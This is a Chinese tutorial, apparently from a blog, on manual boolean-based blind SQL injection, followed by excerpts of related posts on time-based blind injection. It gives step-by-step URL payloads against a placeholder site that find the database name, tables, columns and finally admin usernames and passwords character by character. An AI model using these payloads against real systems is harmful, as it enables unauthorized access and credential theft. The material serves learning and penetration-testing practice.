布林盲注手注

2021-10-01 08:01:48 字數 2199 閱讀 3461

布林盲注

mid(str,1,3)字串擷取 意思就是把str這個字串從第乙個字串開始,擷取前三個顯示

substr()這個函式和上面的用法一樣,也是用來擷取字串的

ord()轉換成ascii碼

length()統計長度

version()是檢視資料庫版本

database()檢視當前資料庫名

user() 檢視當前使用者

猜解資料庫名字的時候可以使用ord(mid(database(),1,1))>1這種擷取當前資料庫的名字的第乙個字元將其轉換為ascii碼來檢視,如果不轉換為ascii的話,他可能就是字元,數字和特殊字元,太難猜了。

當進行sql注入的時候:

例如www.aaa.com/a.php?id=1,在這個地方進行過測試後,發現這個get型有注入點後,可以使用www.aaa.com/a.php?id=1』 and (length(database()))>5 --,這種來爆破當前資料庫名稱的長度,例如當》7頁面返回正常,>8頁面返回不正常,所以當前資料庫名稱的長度為8。

然後我們就需要去乙個個的爆破資料庫名稱,www.aaa.com/a.php?id=1』 and ascii(substr(database(),1,1))>100來猜測字母,這個測試出來的是第乙個字母的ascii的值,www.aaa.com/a.php?id=1』 and ascii(substr(database(),2,1))>100測試的就是第二個字母了。

第三步就是來爆破當前資料庫有多少個表,例如www.aaa.com/a.php?id=1』 and (select count(*)from information_schema.tables where table_schema=database())>1–

來猜測表的數量。

當得知表的數量以後我們肯定就要去爆破表的名稱,爆破表的名稱和上面爆破資料庫的名稱一樣,就是乙個個的爆破字母,首先要得知表名的長度,例如www.aaa.com/a.php?id=1』 and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5,limit限制的是我們提取的是第乙個表的長度,也就是0的意思,後面1的意思是第乙個表的意思。

開始測試第乙個表的第乙個字母,例如www.aaa.com/a.php?id=1』 and (select ascii (substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)>100 --,然後就是把0換為1就是第二個表的第乙個字母開始爆破,然後爆破賬號密碼都是按照這個模式進行爆破的.

擷取當前資料庫使用者名稱的第一位字元並返回其ascii值

有了管理表名,下一步就該把該表中的所有欄位名都查出來了,依舊是上面的方法

查詢』tabl_admin_user』表中的第乙個欄位名的第一位字元,並返回其對應的ascii碼值,最後確認實際的賬號密碼欄位名分別為』admin_username』,』admin_password』

and (select ascii(substring((select column_name from information_schema.columns where table_name=0x74626c5f61646d696e5f75736572 limit 0,1),1,1))=97) %23

10,現在管理表名欄位名都有了,下一步只需要慢慢把每個字段對應的實際資料查出來即可

獲取』admin_username』欄位下的第一條記錄的第一位字元,並返回其對應的ascii碼值,依次遞增,查出完整使用者名稱即可

and (select ascii(substring((select admin_username from tbl_admin_user limit 0,1),1,1))=119) %23

獲取』admin_password』欄位下的第一條記錄的第一位字元,並返回其對應的ascii碼值,依次遞增,查出完整密碼資料即可

時間盲注手注

基於時間的盲注 時間的概念 使用特定函式讓資料庫去執行,通過自己的設定,來檢視資料庫是否get到我們的請求 函式sleep 設定資料庫的延時或者暫停的時間 函式limit 0,1 限制第乙個的第乙個字元 函式mid 1,1 從第乙個字元開始擷取,只擷取乙個 函式benchmark 引數一,引數二 第...

布林型盲注 時間型盲注

布林型盲注核心思想 利用判斷語句杢證明推測是否正確。推測正確時,頁面正常顯示 錯誤時,頁面異常。盲注的一般步驟 1 求閉合字元 2 求當前資料庫名的長度 3 求當前資料庫名對應的ascii值 4 求表的數量 5 求表名的長度 6 求表名對應的ascii值 7 求列的數量 8 求列名的長度 9 求列名...

布林盲注 原理

布林盲注 可以寫指令碼 例如 沒有錯誤提示 也沒有回顯 但是輸入錯誤的話頁面會有反應 也就是說 只有 true 和false 例如 sql labs less 7 它只有兩種提示 所以可以用布林盲注 playload and length database 8 判斷資料庫名長度 是否等於8 如果不等...